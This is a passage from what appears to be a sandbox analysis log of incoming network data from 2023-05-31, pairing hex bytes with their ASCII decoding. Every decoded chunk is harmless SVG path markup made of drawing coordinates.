2e 31 36 2c 33 2e 31 36 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 2c 32 2e 38 2c 30 2c Data Ascii: M820.05,365.18a2.16,2.16,0,0,1-1.09,2.76,3.17,3.17,0,0,1-4.13-1.36,3,3,0,0,1,.8-3.58,2.82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M820.13,356.5a2.16,2.16,0,0,1-1.1,2.76,3.16,3.16,0,0,1-4.12-1.36,3,3,0,0,1,.8-3.58,2.8,2.8,0,
2023-05-31 12:52:03 UTC	4953	IN	Data Raw: 32 2e 37 35 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 35 34 2e 35 36 2c 34 35 32 2e 33 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 Data Ascii: 2.75,3.15,3.15,0,0,1-4.13-1.36,3,3,0,0,1,.8-3.58,2.83,2.83,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M854.56,452.3a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58
2023-05-31 12:52:03 UTC	4969	IN	Data Raw: 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 38 32 2e 33 32 2c 33 30 35 61 32 2e 31 34 2c 32 2e 31 34 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 38 32 2e 34 2c 32 39 36 2e 32 39 61 32 2e 31 35 2c Data Ascii: .82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M882.32,305a2.14,2.14,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.58,2.82,2.82,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M882.4,296.29a2.15,
2023-05-31 12:52:03 UTC	4985	IN	Data Raw: 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 31 36 2e 37 35 2c 34 30 30 2e 37 37 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 36 2c 33 2e 31 36 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 31 36 2e 38 33 2c 33 39 32 2e 30 39 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 Data Ascii: 0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M916.75,400.77a2.15,2.15,0,0,1-1.09,2.75,3.16,3.16,0,0,1-4.13-1.36,3,3,0,0,1,.8-3.58,2.83,2.83,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M916.83,392.09a2.16,2.16,0,0
2023-05-31 12:52:03 UTC	5001	IN	Data Raw: 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 34 34 2e 35 32 2c 32 35 33 2e 34 34 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 31 39 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 34 34 2e 36 2c 32 34 34 2e 37 36 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e Data Ascii: "cls-9" d="M944.52,253.44a2.16,2.16,0,0,1-1.09,2.75,3.15,3.15,0,0,1-4.13-1.35,3,3,0,0,1,.8-3.58,2.81,2.81,0,0,1,3.62.19,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M944.6,244.76a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.
2023-05-31 12:52:03 UTC	5017	IN	Data Raw: 37 37 2c 32 32 35 2e 35 39 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 34 39 2e 34 37 2c 32 31 36 2e 38 32 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 37 2c 33 2e 31 37 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 Data Ascii: 77,225.59a2.19,2.19,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M49.47,216.82a2.17,2.17,0,0,1-1,2.82,3.17,3.17,0,0,1-4.22-1.19,3,3,0,0,1,.64-3.65,2.86,2.86,0,0,1,3
2023-05-31 12:52:03 UTC	5033	IN	Data Raw: 22 20 64 3d 22 4d 38 38 2e 34 32 2c 33 31 32 2e 31 38 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 38 38 2e 31 32 2c 33 30 33 2e 34 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 41 33 2e 32 2c 33 2e 32 2c 30 2c 30 2c 31 2c 38 32 2e 39 2c 33 30 35 61 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 Data Ascii: " d="M88.42,312.18a2.18,2.18,0,0,1-1,2.82,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"></path><path class="cls-7" d="M88.12,303.4a2.19,2.19,0,0,1-1,2.83A3.2,3.2,0,0,1,82.9,305a3,3,0,0,1,.65-3.65,2.86,2.86,0
2023-05-31 12:52:03 UTC	5049	IN	Data Raw: 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 34 2c 32 2e 38 34 2c 30 2c 30 2c 31 2c 33 2e 36 36 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 30 39 2e 38 33 2c 31 35 33 2e 32 35 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 Data Ascii: 1,.65-3.66,2.84,2.84,0,0,1,3.66.05,2.68,2.68,0,0,1,.2,3.61"></path><path class="cls-7" d="M109.83,153.25a2.19,2.19,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3.06,3.06,0,0,1,.65-3.66,2.86,2.86,0,0,1,3.67.05,2.68,2.68,0,0,1,.2,3.61"></path><path class="cls-7"
2023-05-31 12:52:03 UTC	5065	IN	Data Raw: 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 34 38 2e 37 37 2c 32 34 38 2e 36 31 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 34 38 2e 34 37 2c 32 33 39 2e 38 33 61 Data Ascii: 2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.2,3.61"></path><path class="cls-7" d="M148.77,248.61a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.22-1.19,3.06,3.06,0,0,1,.64-3.66,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.2,3.61"></path><path class="cls-7" d="M148.47,239.83a
2023-05-31 12:52:03 UTC	5084	IN	Data Raw: 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 37 30 2e 34 38 2c 39 38 2e 34 36 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 37 30 2e 31 38 2c 38 39 2e 36 39 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 Data Ascii: 69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M170.48,98.46a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3.06,3.06,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M170.18,89.69a2.16,2.16,0,0,1-1,2.82
2023-05-31 12:52:03 UTC	5100	IN	Data Raw: 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 30 39 2e 34 32 2c 31 39 33 2e 38 32 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 30 39 2e 31 33 2c 31 38 35 2e 30 35 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 38 Data Ascii: ,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M209.42,193.82a2.17,2.17,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"></path><path class="cls-7" d="M209.13,185.05a2.17,2.17,0,0,1-1,2.82,3.18
2023-05-31 12:52:03 UTC	5116	IN	Data Raw: 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 34 38 2e 33 37 2c 32 38 39 2e 31 38 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 37 2c 33 2e 31 37 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 34 38 2e 30 37 2c 32 38 30 2e 34 31 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 37 2c 33 2e 31 37 Data Ascii: 9,0,0,1,.2,3.62"></path><path class="cls-7" d="M248.37,289.18a2.18,2.18,0,0,1-1,2.83,3.17,3.17,0,0,1-4.22-1.19,3,3,0,0,1,.64-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M248.07,280.41a2.16,2.16,0,0,1-1,2.82,3.17,3.17
2023-05-31 12:52:03 UTC	5132	IN	Data Raw: 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 37 30 2e 30 38 2c 31 33 39 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 36 39 2e 37 38 2c 31 33 30 2e 32 36 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d Data Ascii: "></path><path class="cls-7" d="M270.08,139a2.19,2.19,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3.06,3.06,0,0,1,.65-3.66,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M269.78,130.26a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.22-
2023-05-31 12:52:03 UTC	5148	IN	Data Raw: 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 30 39 2c 32 33 34 2e 34 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 34 2c 32 2e 38 34 2c 30 2c 30 2c 31 2c 33 2e 36 36 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 30 38 2e 37 32 2c 32 32 35 2e 36 32 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 Data Ascii: h><path class="cls-7" d="M309,234.4a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.22-1.19,3,3,0,0,1,.65-3.66,2.84,2.84,0,0,1,3.66,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M308.72,225.62a2.17,2.17,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3,3,0,0,1
2023-05-31 12:52:03 UTC	5164	IN	Data Raw: 3d 22 4d 33 33 30 2e 37 33 2c 38 34 2e 32 35 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 37 2c 33 2e 31 37 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 36 2c 32 2e 38 37 2c 32 2e 38 37 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 34 37 2e 36 37 2c 33 32 31 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 36 2c 32 Data Ascii: ="M330.73,84.25a2.18,2.18,0,0,1-1,2.83,3.17,3.17,0,0,1-4.22-1.19,3.06,3.06,0,0,1,.64-3.66,2.87,2.87,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M347.67,321a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.22-1.19,3.06,3.06,0,0,1,.64-3.66,2
2023-05-31 12:52:03 UTC	5180	IN	Data Raw: 20 64 3d 22 4d 33 36 39 2e 36 37 2c 31 37 39 2e 36 31 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 37 2c 32 2e 38 37 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 36 39 2e 33 38 2c 31 37 30 2e 38 33 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 Data Ascii: d="M369.67,179.61a2.17,2.17,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.66,2.87,2.87,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"></path><path class="cls-7" d="M369.38,170.83a2.19,2.19,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2
2023-05-31 12:52:03 UTC	5196	IN	Data Raw: 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 37 2c 32 2e 36 34 2c 32 2e 36 34 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 31 31 2e 37 2c 33 33 39 2e 31 33 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d Data Ascii: 09,2.81,2.81,0,0,1,.59-3.37,2.64,2.64,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M311.7,339.13a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.45,2.45,0,0,1,.18,3.32"></path><path class=
2023-05-31 12:52:03 UTC	5212	IN	Data Raw: 33 2e 33 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 33 31 2e 34 2c 31 39 32 2e 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 33 31 2e 31 33 2c 31 38 34 2e 38 33 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 Data Ascii: 3.32"></path><path class="cls-9" d="M331.4,192.9a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.47,2.47,0,0,1,.18,3.33"></path><path class="cls-9" d="M331.13,184.83a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8
